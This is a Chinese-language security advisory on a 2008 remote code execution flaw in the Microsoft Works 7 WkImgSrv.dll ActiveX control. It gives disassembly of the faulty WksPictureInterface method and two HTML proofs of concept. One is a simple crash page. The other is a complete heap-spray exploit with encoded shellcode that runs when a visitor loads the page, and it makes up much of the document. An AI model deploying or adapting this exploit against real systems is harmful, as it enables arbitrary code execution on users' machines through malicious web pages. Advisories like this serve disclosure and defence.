安全研究

安全漏洞
Microsoft Works 7 WkImgSrv.dll ActiveX控件远程代码执行漏洞

发布日期:2008-04-17
更新日期:2008-05-05

受影响系统:
Microsoft Works 7
描述:
BUGTRAQ  ID: 28820

Microsoft Works是微软在早期所发布的文件处理程序。

Microsoft Works所带的ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞控制用户系统。

Microsoft Works所提供的wkimgsrv.dll库没有安全地调用WKsPictureInterface方式:

00D473BD              PUSH EBP                                 ;
Begin of Set WksPictureInterface method
00D473BE        MOV EBP,ESP
00D473C0              SUB ESP,1C
00D473C3      MOV EAX,DWORD PTR SS:[EBP+C]   ;  Move paramater to EAX
00D473C6      PUSH ESI
00D473C7     TEST EAX,EAX                             ;  Checking whether
EAX is NULL
00D473C9     JNZ SHORT wkimgsrv.00D473D5    ;  OK,if it is not null continue
00D473CB      MOV EAX,80004005            ;    
00D473D0      JMP wkimgsrv.00D47456               ;No,it's is NULL,exit method
00D473D5  ==>    MOV ESI,DWORD PTR SS:[EBP+8] ; Do some other stuffs, we don't care
00D473D8      LEA EDX,DWORD PTR SS:[EBP-1C] ;
00D473DB      PUSH EDX
00D473DC     PUSH EAX
00D473DD     MOV DWORD PTR DS:[ESI+2A0],EAX        ; =============
00D473E3   ==>    MOV ECX,DWORD PTR DS:[EAX]              ; Here is the
problem,the data stored by EAX is referenced and moved into ECX
00D473E5     CALL DWORD PTR DS:[ECX+30]               ;Next the address
in some struct pointed by ECX is called

如果能够在内存中创建第一个DWORD指向其本身且0x30偏移处的DWORD指向shellcode的结构,则当用户在访问恶意网页时就可能触发无效的内存访问,导致拒绝服务或执行任意指令。

<*来源:Shennan Wang (wsn1983@gmail.com
  
  链接:http://marc.info/?l=bugtraq&m=120845200813992&w=2
        http://www.milw0rm.com/exploits/5530
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<head>
  <title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
  <script language="JavaScript">
    function payload() {                                                var num = -1;
                                                obj.WksPictureInterface = num;    
                                            }
   </script>
</head>
<body onload="JavaScript: return payload();">
    <object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
    </object>
</body>
</html>



<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll Exploit</title>

Coded by lhoang8500
lhoang8500[at]gmail[dot]com
BKIS Center - Vietnam

<SCRIPT language="javascript">

    var heapSprayToAddress = 0x0A0A0A0A;

    var payLoadCode =
unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

    var heapBlockSize = 0x400000;

    var payLoadSize = payLoadCode.length * 2;

    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

    var spraySlide = unescape("%u0A0A%u0A0A");
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);

    heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

    memory = new Array();

    for (i=0;i<heapBlocks;i++)
    {
        memory[i] = spraySlide + payLoadCode;
    }



    function getSpraySlide(spraySlide, spraySlideSize)
    {
        while (spraySlide.length*2<spraySlideSize)
        {
            spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;
    }

</script>
  <script language="JavaScript">
    function payload() {
var num = 168430090;
obj.WksPictureInterface = num;
  }
   </script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/

浏览次数:3010
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障